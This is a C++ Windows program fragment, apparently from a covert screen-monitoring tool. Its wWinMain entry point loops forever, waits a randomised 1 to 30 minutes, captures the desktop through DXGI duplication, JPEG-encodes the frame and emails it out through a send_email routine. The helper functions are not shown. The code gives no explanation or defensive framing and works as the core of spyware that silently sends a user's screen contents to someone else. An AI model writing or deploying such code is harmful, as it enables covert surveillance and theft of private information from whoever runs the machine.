int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow) { CoInitializeEx(NULL, COINIT_MULTITHREADED); aslog::openlog(); aslog::setlevel(aslog::level::debug); curl_global_init(CURL_GLOBAL_ALL); load_settings(); HRESULT hr = CoCreateInstance(CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&g_pImagingFactory) ); hr = find_output(); CComPtr<IDXGIOutputDuplication> pDup; std::mt19937 rand(std::chrono::high_resolution_clock::now().time_since_epoch().count()); while (true) { Sleep((rand() % 30 + 1) * 60000 + (rand() % 30 + 1) * 1000); DXGI_OUTDUPL_FRAME_INFO frameInfo; CComPtr<IDXGIResource> pResource; if (!pDup) { hr = g_pOutput->DuplicateOutput(g_pDevice, &pDup); // First image captured is always black hr = pDup->AcquireNextFrame(1000, &frameInfo, &pResource); pDup->ReleaseFrame(); pResource.Release(); } hr = pDup->AcquireNextFrame(1000, &frameInfo, &pResource); if (hr == DXGI_ERROR_ACCESS_LOST) { pDup.Release(); continue; } else if (FAILED(hr)) { aslog::error(L"Unable to capture frame: 0x%.8x", hr); Sleep(1000); continue; } else { aslog::info(L"Captured frame successfully"); DWORD sz; UINT8 *data, *jpeg_data; UINT width, height; get_screen_data(pResource, &data, &width, &height); pResource.Release(); pDup->ReleaseFrame(); encode_jpeg(data, width, height, &jpeg_data, &sz); delete[] data; send_email(jpeg_data, sz); delete[] jpeg_data; } } aslog::closelog(); return 0; }